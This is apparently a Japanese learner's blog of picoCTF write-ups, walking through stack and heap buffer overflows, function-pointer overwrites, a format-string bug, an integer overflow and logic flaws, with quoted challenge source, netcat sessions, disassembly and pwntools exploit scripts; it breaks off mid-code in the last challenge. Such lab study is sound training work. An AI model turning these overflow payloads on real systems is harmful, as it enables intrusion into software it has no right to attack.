fdの集合がfd_set型で定義される(select関数を用いた標準入力の監視【Linux / C言語】).FD_ZEROがその集合を初期化する。FD_SETがFDの集合にあるFDをセットする。STDIN_FILENOは標準入力(0)を表している。select関数はFDを監視する。selectの戻り値は正の値は変化のあったFDの数、0はタイムアウト、-1はエラー発生である。(【C言語】select関数の使い方、間違っていませんか?)。よって、ready_for_readingは読み込み可能なfdを数えているということかな?-1はエラー。

知識(if文)
if文の条件式について ゼロの時に偽、ゼロ以外なら真である。真のときに条件成立。

read()関数はファイルデスクリプタから読み込むようだ。第一引数がfdを選択、2がデータを保存する領域、3が読み込むバイト数。\0はヌル文字というらしい。ここで文字列の入力を要求、inputに格納するようだ。 つまり、tgetinput関数は入力文字を受け取り、inputに格納とまた、文字列の長さlを受け取り、 * -2:引数ミス(第二引数) * -1:エラーが起こった。 * -3:タイムアウト * -4:読み込むデータなし。 を返す関数。なので、入力を受けて動作する今回はtgetinputでinput(何をするかのcommand、何を書き込むかのinput)を受け取っているということ、

static void data_write() {
  char input[100];
  char len[4];
  long length;
  int r;
  
  printf("Please enter your data:\n");
  r = tgetinput(input, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  while (true) {
    printf("Please enter the length of your data:\n");
    r = tgetinput(len, 4);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
  
    if ((length = strtol(len, NULL, 10)) == 0) {
      puts("Please put in a valid length");
    } else {
      break;
    }
  }

  if (inputs > 10) {
    inputs = 0;
  }

  strcpy(data[inputs], input);
  input_lengths[inputs] = length;

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;
}

書き込みなので、tgetinputで入力を受け取り、長さの入力も要求。10個しか記憶できないのでそれ以上なら0に書き込む。inputsを1つ大きくして終了。

static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);
  
  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}

memset関数ではメモリに指定バイト数の値をセットする。(C言語 memset 使い方)。つまり、はじめのmemset(output, '\0', 100);でoutputにヌル文字100個をセット(確保)したことになる。そして、出力したいentryナンバーを入力するとそれをもとにdataからデータが持ってこられて、出力される。

data_read()の中でflagを出力させる関数あり。でもエントリーが0ならflag出すって言ってない?なら最初からデータを読み込む(最初に2を選択)を行い、そして、0においてあるものを表示してもらえばよいのではないか?

└─# nc saturn.picoctf.net 65353
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
2
2
No data yet

さすがになにも入れてない時の処理はありますね。1つ何でもよいので入れてから2を選択して0番目のものを見せてもらう。

1
1
Please enter your data:
kakaka
kakaka
Please enter the length of your data:
6
6
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{

終了。

考察 振り返ると簡単だった。バッファオーバーフローを行うようなものだと思っていたので、コードを解釈すれば終わるので良かった。しかし、時間がかかりすぎる。競技だったらもう少し工夫が必要そうだ。

buffer overflow 0

Smash the stack Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using: nc saturn.picoctf.net 55984
まずは序の口ということかな?バッファオーバーフローやってみようじゃないか。

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

flagが定義されて、sigsegv_handler関数でflagを出力するようだ。

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

inputに入れられた文字をbuf2にコピーしている。

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

fにflagがあるようだ。

一応実行してみた。

└─# nc saturn.picoctf.net 55984
Input: kkkk
The program will exit now

シンプルに入力させるプログラムである。 戻り値をsigsegv_handlerにすればいいのではないだろうか

flagに関係するのはsigsegv_handlerとfgetsである。

知識(fgets)
fgets (C言語 fgets 使い方)を参考にした。つまり、第三引数から最大第二引数の数だけ第一引数に代入する関数と思われる。第三引数を標準入力から持ってくることもできるようだ。

つまり、fgetsではただflagをファイルから持ってきているだけ。
次にsigsegv_handlerについてmainではsignal関数で使われている。

知識(signal(c言語))
signal(c言語) (【C言語】signalとsigactionの使い方を分かりやすく解説)を参考にした。「シグナルが送られたときに、どういう処理をするのか」を決める関数だそうだ。ctrl+cというシグナルが起きた時に何をするかを決めているそうだ。

今回のsignalではSIGSEGVシグナルを受け取るとsigsegv_handlr関数が実行されるようだ。

知識(SIGSEGV)
SIGSEGV (セグメント不正のデバッグ)を参考にした。プログラムが使用可能なメモリー範囲外のメモリーアドレスを参照したことを示します。だそうです。

つまり、メモリー使用外を参照するとsigsegv_handlerが実行されるということかな。

次にgidについて少々。

知識(gid)
gid (「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典)を参考にした。ユーザーをグル―プに分けていることがある。そのグループのIDがgidだそうだ。

gidを設定しているようだが、あまりわからん。

知識(fflush)
fflush (C言語の「fflush関数」を解説!知っておくとデバッグにも役立つよ!) 参考にfflush関数を一応理解した。

一連の流れから、buf1を宣言、getsでbuf1の入力を求める。vulnでbuf2にbuf1をコピーして終了というプログラム。予想では触れてはいけないメモリ領域に触れてみたらいいと思う。

知識(バッファオーバーフロー)
バッファオーバーフロー (CTFで学ぶ脆弱性(スタックバッファオーバーフロー編・その1))を参考にした。つまり、プログラムの想定以上のバッファー領域を埋めることで攻撃を引き起こすやつ。

つまり、今回のプログラム作成者の想定以上のバッファーを使えばSIGSEGVを引き起こし、シグナルを起こし、sigsegv_handlerを実行させると予想する。
そこで思ったのが、buf1をbuf2にコピーする関数vuln。buf2は16バイトしか入らないがbuf1は100バイト入ってしまう。ここで、バッファオーバーフローが起こる。よって16より多くの文字を入力すればよい。

└─# nc saturn.picoctf.net 55984
Input: kkkkkkkkkkkkkkkkkkkk
picoCTF{

終了。

buffer overflow 1

Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program. You can view source here. And connect with it using nc saturn.picoctf.net 52141

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

bufにflagが読み込まれ、printfで出力されているようだ。

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

bufsize=32がセットされて、それを入力すると、printfでどこかに戻れと言われるようだ。

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

まずは実行してみる。

└─# nc saturn.picoctf.net 52141
Please enter your string:
aaaaaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

戻る場所を指定された。戻り値を変えないといけないようだ。しかし、わからん。よくある問題はアドレスの場所やスタックを表示してくれることが多く。どれだけ埋めればいいかわからん。いっちょ思いっきり入れてみました。

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccaaaaaaaaaabbbbbbbbbbccccccccccaaaaaaaaaabbbbbbbbbbcccccccccc
Okay, time to return... Fingers Crossed... Jumping to 0x62626262

お。変わりましたね、0x62はbなので41-50くらいがリターンアドレスが入っていると考えられる。

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeeeeeeee
Okay, time to return... Fingers Crossed... Jumping to 0x65656565

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeee
Okay, time to return... Fingers Crossed... Jumping to 0x8040065

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeee
Okay, time to return... Fingers Crossed... Jumping to 0x8049300

└─# nc saturn.picoctf.net 49162
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeee
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

ここで└─# objdump -d -M intel vulnを実行してメモリ情報を見る。

080491f6 <win>:
08049281 <vuln>:
080492c4 <main>:
804931b:       8d 83 a0 e0 ff ff       lea    eax,[ebx-0x1f60]
 8049321:       50                      push   eax
 8049322:       e8 59 fd ff ff          call   8049080 <puts@plt>
 8049327:       83 c4 10                add    esp,0x10
 804932a:       e8 52 ff ff ff          call   8049281 <vuln>
 804932f:       b8 00 00 00 00          mov    eax,0x0
 8049334:       8d 65 f8                lea    esp,[ebp-0x8]
 8049337:       59                      pop    ecx

つまり、vulnが終わって戻る位置が0x804932fと言っている。ここをwinの始まりに返ればできるということではなかろうか。
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeeの後ろに080491f6になるように入力すればいいのではないだろうか。

└─# nc saturn.picoctf.net 61242
Please enter your string:
aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeee080491f6
Okay, time to return... Fingers Crossed... Jumping to 0x39343038

そうそううまくはいきませんね。0x39343038は9408とASCII文字で読み込まれているようだ。また、0がなくなっているので桁数も確認。そして何より、リトルエンディアンで読み込まれているようでもある。これ以降がどうしてもわからなかった。powershellでの入力はどうしてもASCIIコードで読み込まれてしまう。
writeUp(【入門】はじめてのバッファオーバーフロー)を参考にしました。gdbを使えばもっとスマートにアドレス領域が分かったようだ。pythonを用いて入力は送るのがよさそう。(Pwntoolsの機能と使い方まとめ【日本語】#CTF #Pwn)pythonを用いたpwnのやり方はこれを見て学ぶ。

from pwn import *

io = remote("saturn.picoctf.net",59751)

st = pack(0x080491f5, word_size='all', endian='little')

s =b"aaaaaaaaaabbbbbbbbbbccccccccccddddddddddeeee" + st

io.sendline(s)
io.interactive()

として実行したら成功。

考察 gdbを用いたdisassembleをもう少し理解したいかも。手を動かすが良い。pythonを用いることで実行できるpwnできることを知れてよかった。これから使っていこうと思う。
また、バッファオーバーフローの手順として、

  1. bufoverflowできる関数があるかの確認。buf[],gets関数。
  2. バッファーと戻りアドレス値を知る。
  3. その差を任意の文字で埋める。
  4. そのあと実行したい戻り値を入力 簡単に以上の手順であると考えた。

heap 1

Can you control your overflow? Download the binary here. Download the source here. Connect with the challenge instance here: nc tethys.picoctf.net 62635 ということで、オーバーフロー。先と似ている。ただflagの表示条件が異なるようだ。

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

ということで、safe_varがpicoになればよさそう。先と同様、32bytesの距離があるので、"32bytes+pico"とすればsafe_varはpicoになる。入力して終了。

heap 2

Can you handle function pointers? Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 61265 ということで、同じような問題。

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

勝ちの条件が先と異なる。ここの関数に飛ばすことが目標のようだ。バッファオーバーフローらしい問題。check_win()ではvoid check_win() { ((void (*)())*(int*)x)(); }という関数が定義されている。AIに聞いてみるとこれはxの値を関数ポインタとして解釈して、その関数を実行するようだ。つまり、xの値をwin関数の始まりに設定すればよい。いろいろ打っていてどうにもできない。

Legend: code, data, rodata, value
check_win () at chall.c:22
22      void check_win() { ((void (*)())*(int*)x)(); }
gdb-peda$ p x
$15 = 0x1e896d0 "411111"
gdb-peda$ p *x
$16 = 0x34
gdb-peda$ p (int*)x
$17 = (int *) 0x1e896d0
gdb-peda$ p *(int*)x
$18 = 0x31313134

gdbして値を見ていた。xの中身が4111としたときにそれをアドレスとすると0x31313134とリトルエディアン+asciiコードで解釈されている。そりゃうまくいかないわけだ。pwntoolsを用いて行う。xがchar型のポインタであるのがめんどくさくしている。

Dump of assembler code for function win:
   0x00000000004011a0 <+0>:     push   rbx
   0x00000000004011a1 <+1>:     sub    rsp,0x40

から、win関数は0x00000000004011a0から始まると予想。

from pwn import *

io = remote('mimas.picoctf.net', 62985)

st = b'111111111122222222223333333333440x4011a0'
print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'2')
io.sendline(st)

print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'3')
print(io.recvuntil(b"Enter your choice:"))
io.interactive()

というコードを作ったが違うようだ。リトルエディアンを気にしたがそれも違うようだ。何が違うのかはわからない。
自身のブログのbinary exliptionを参考に以下のコードを作ったらできた。

from pwn import *

io = remote('mimas.picoctf.net', 64936)

st2 = pack(0x004011a0, word_size='all', endian='little')
st = b'11111111112222222222333333333344' + st2
print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'2')
io.sendline(st)

print(io.recvuntil(b"Enter your choice:"))
io.sendline(b'3')
print(io.recvuntil(b"Enter your choice:"))
io.interactive()

リトルエディアンやメモリについて少しわかった気がした。

format string 0

Can you use your knowledge of format strings to make the customers happy? Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 54770

ということで、c言語ソースコードとファイルが渡された。

└─# file format-string-0
format-string-0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73480d84a806aebddd86602609fcab2052c8fa13, for GNU/Linux 3.2.0, not stripped

実行ファイルのようだ。gdbにでも活用できそう。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 32
#define FLAGSIZE 64

char flag[FLAGSIZE];

void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

ここの関数を呼び出してflagを表示させるようだ。

int on_menu(char *burger, char *menu[], int count) {
    for (int i = 0; i < count; i++) {
        if (strcmp(burger, menu[i]) == 0)
            return 1;
    }
    return 0;
}

ここで入力されたものがそのメニュー内にあるかを判定するようだ。(【C言語入門】文字列を比較する方法(strcmp、strncmp))

void serve_patrick();

void serve_bob();


int main(int argc, char **argv){
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();
  
    return 0;
}

signal関数が気になる。他のブログで書いていると思う。第一引数に定義されたエラーが発生すると第二引数の関数を実行するというもの。SIGSEGVを発生させるとflagが回収できそう。入ってはいけないメモリ領域に入ると起こるようだ。バッファオーバーフローを起こせばいいのかな?

void serve_patrick() {
    printf("%s %s\n%s\n%s %s\n%s",
            "Welcome to our newly-opened burger place Pico 'n Patty!",
            "Can you help the picky customers find their favorite burger?",
            "Here comes the first customer Patrick who wants a giant bite.",
            "Please choose from the following burgers:",
            "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice1[BUFSIZE];
    scanf("%s", choice1);
    char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
    if (!on_menu(choice1, menu1, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        int count = printf(choice1);
        if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
    }
}

int count = printf(choice1)で定義されるcountがcount > 2 * BUFSIZEを満たさないといけないようだ。BUFSIZEは32と定義しているので64以上でなければならない。"Gr%114d_Cheese"を選ばないとこれは超えない。

#include <stdio.h>

int main(){
    int count = printf("Gr%114d_Cheese");
    printf("%d", count);
    return 0;
}

というコードを実行するとGr 559036360_Cheese123となった。つまり、123文字として扱われた。表示桁数も文字列の数として定義されるようだ。

void serve_bob() {
    printf("\n%s %s\n%s %s\n%s %s\n%s",
            "Good job! Patrick is happy!",
            "Now can you serve the second customer?",
            "Sponge Bob wants something outrageous that would break the shop",
            "(better be served quick before the shop owner kicks you out!)",
            "Please choose from the following burgers:",
            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice2[BUFSIZE];
    scanf("%s", choice2);
    char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
    if (!on_menu(choice2, menu2, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        printf(choice2);
        fflush(stdout);
    }
}

ハンバーガーの名前に%sのような文字列がある。これによって見れてはいけないところを見れるという仕組みのようだ。なので、選択に%sがあるのを選べばflagゲット。これは%sによって表示されたのか、signal(SIGSEGV, sigsegv_handler);が実行されたのだろうか?あまりわからない。可能性が高いのは後者かな。

heap 0

Are overflows just a stack concern? Download the binary here. Download the source here. Connect with the challenge instance here: nc tethys.picoctf.net 63061
オーバーフロー以外の攻撃手法を使う問題のような気がする。

└─# nc tethys.picoctf.net 63061

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   pico
+-------------+----------------+
[*]   0x559b554c12d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

実行すると以上のような出力が出る。つまり、1-5の行動を起こせるようだ。

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

渡されたコードを見るとflagが出る関数がある。safe_varをbico以外にするとflagが出てくるようだ。

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   pico
+-------------+----------------+
[*]   0x559b554c12d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

1を選択すると中身が見れる。

Enter your choice: 4
Looks like everything is still secure!

No flage for you :(

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

4だとflagを表示させるcheck_winを実行するようだ。

Enter your choice: 3


Take a look at my variable: safe_var = bico


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

3だと現在のsafe_varが確認できる。

Enter your choice: 2
Data for buffer: kakaka

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

2だとbufferに書き込みができるようだ。

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   kakaka
+-------------+----------------+
[*]   0x559b554c12d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

書き込んだ後にheapを確認するとpicoが変わっていた。

Enter your choice: 2
Data for buffer: kakakakakakakkaka

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   kakakakakakakkaka
+-------------+----------------+
[*]   0x559b554c12d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

文字列を増やすとさらに伸びた。つまり、このまま増やして、bicoを変えるということをすればよさそう。0x559b554c12d0と0x559b554c12b0の差は32なので、それ以上を入力すればいい。

Enter your choice: 2
Data for buffer: 11111111112222222222333333333344444444445555555555

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x559b554c12b0  ->   11111111112222222222333333333344444444445555555555
+-------------+----------------+
[*]   0x559b554c12d0  ->   444444445555555555
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = 444444445555555555


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

ということで、safe_varを変更することに成功。

Enter your choice: 4

YOU WIN

ということで、flagゲット。

buffer overflow 2

Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program? You can view source here. And connect with it using nc saturn.picoctf.net 52464

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

fgetsはbufにflagを出力。そのあとの条件が引数のアドレスがあっていないと返されてしまう。それをかいくぐってbufを出力させなければならなさそう。

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

bufに入力を入れるのはいいが、putsだけしかしないので戻り値を自身で見つけなければならない。

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

main関数は前と同じ。

見る限り、デバッグしてアドレスを得ないと手も足も出なさそう。

main
   0x080493d5 <+99>:    add    $0x10,%esp
   0x080493d8 <+102>:   call   0x8049338 <vuln>
   0x080493dd <+107>:   mov    $0x0,%eax

vuln関数の戻り値は0x080493ddだとわかる。

Dump of assembler code for function win:
   0x08049296 <+0>:     endbr32
   0x0804929a <+4>:     push   ebp
   0x0804929b <+5>:     mov    ebp,esp
   0x0804929d <+7>:     push   ebx

win関数の始まりは0x08049296 今回はいくら多くの文字を入力しても、それがなにを書き換えたかまではわからないのではないだろうか。bufに入っているものをputsするだけだから。わからん。今日はここまで

お久しぶりです。やっていきます。通常に実行しても入力して、出力されておしまいになる。
スタックに積まれる構造を理解して、リターンアドレスをwin関数にすること、参照する引数の場所に決められた値を入れることが、今回の問題であるようだ。どうにもできないので、writeupを見てしまった。(picoCTF 2022 buffer overflow 2 Writeup)、(ポン中のハシビロコウ)

スタックにどれだけの文字を入力したらリターンアドレスに到達できるのかを求めないといけない。
単純にbufに100個の要素が入るからといって100ではないのが難しい。参考文献のようにgdbを使うのがよさそうだが、渡されたvulnが実行できずなかなかに困る。もしかしたら16の倍数で100を初めて超えるのが112という求め方ではだめなのかな?邪道ですね。実際、SIGSEGVが起きるのも113からなので、そうやって片っ端から求めることもできる。お勧めしないけど。

そして、文字でスタックを埋めた後はリターンアドレス(win関数先頭)があり、その次にwin関数の終了時に戻るアドレスがあり、その先に引数の場所がある。よって

from pwn import *
win = p32(0x08049296)
arg1 = p32(0xCAFEF00D)
arg2 = p32(0xF00DF00D)

io.sendline(b"a"*112+win+b"a"*4 +arg1+arg2)

このようなコードを送れば、バッファオーバーフローが完成する。

感想 gdbの使い方によってスタックの中身を見たり求めたりできるので、ほかのwriteupを参考にしながらやっていきたい。もしも実行できない時は既存んの関数呼び出しにおけるスタックの状況を理論から考えて行っていくのがよさそう。コードと照らし合わせてスタックがどうなっているかを把握することが大切。

RPS

Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row. 5回連続でじゃんけんに勝つことを要求している。プログラムを見るとplayで勝つとwinカウントがたまり負けると0に戻る。winカウント5つ以上貯めるとfalgゲットという感じ。以上というのは少し気になる。

      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

play()がtrueならwinカウントが貯める。

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }

play()の中の勝ち負けを決めるところ。randが使われているので相手の手を予測するのは難しい。勝ちになる判定は if (strstr(player_turn, loses[computer_turn])) {ここで行われているようだ。ifの真偽は0がfalse、0以外がtrueとなっている。(strstr())を確認するとstrstr関数は文字列を比較して比較対象に文字列が含まれているとその文字列が現れる場所を返してくれるようだ。見つからないとnull=0を返す。
簡単な話scissorspaperrockと全てを含んだ文字列を投げたら勝ち判定になる。

Please make your selection (rock/paper/scissors):
scissorspaperrock
scissorspaperrock
You played: scissorspaperrock
The computer played: rock
You win! Play again?

これを5回繰り返したらおしまい。

two-sum

Can you solve this? What two positive numbers can make this possible: n1 > n1 + n2 OR n2 > n1 + n2 Enter them here nc saturn.picoctf.net 54966.
どういうことだろうか?
ソースコードからn1とn2を入力してその和がどちらかより小さくしないといけないようだ。

        if (addIntOvf(sum, num1, num2) == 0) {
            printf("No overflow\n");
            fflush(stdout);
            exit(0);
        } else if (addIntOvf(sum, num1, num2) == -1) {
            printf("You have an integer overflow\n");
            fflush(stdout);
        }

これはaddIntOvfを-1にすると終了せずにflagがとれそうだ

static int addIntOvf(int result, int a, int b) {
    result = a + b;
    if(a > 0 && b > 0 && result < 0)
        return -1;
    if(a < 0 && b < 0 && result > 0)
        return -1;
    return 0;
}

両方とも負か正でないとreturn=0になってしまう。if (num1 > 0 || num2 > 0) {flagを出力するところはnum1とnum2両方と正であることを要求しているので、if(a > 0 && b > 0 && result < 0)これを成り立たせる。
(【C言語入門】整数(int、long int、short int)の使い方)intは

int型のサイズは4バイトで、最大値は2147483647、最小値は-2147483648となります

とあるので、和が2147483647これを超えればいいということかな?

└─# nc saturn.picoctf.net 54966
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483645
4
You entered 2147483645 and 4
You have an integer overflow

正解のようだ。

clutter-overflow

Clutter, clutter everywhere and not a byte to use.
どういういみだろう?ソースコードと実行ファイルが渡された。一応オーバーフローを起こさせる問題のようではある。

int main(void)
{
  long code = 0;
  char clutter[SIZE];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);
    
  puts(HEADER); 
  puts("My room is so cluttered...");
  puts("What do you see?");

  gets(clutter);


  if (code == GOAL) {
    printf("code == 0x%llx: how did that happen??\n", GOAL);
    puts("take a flag for your troubles");
    system("cat flag.txt");
  } else {
    printf("code == 0x%llx\n", code);
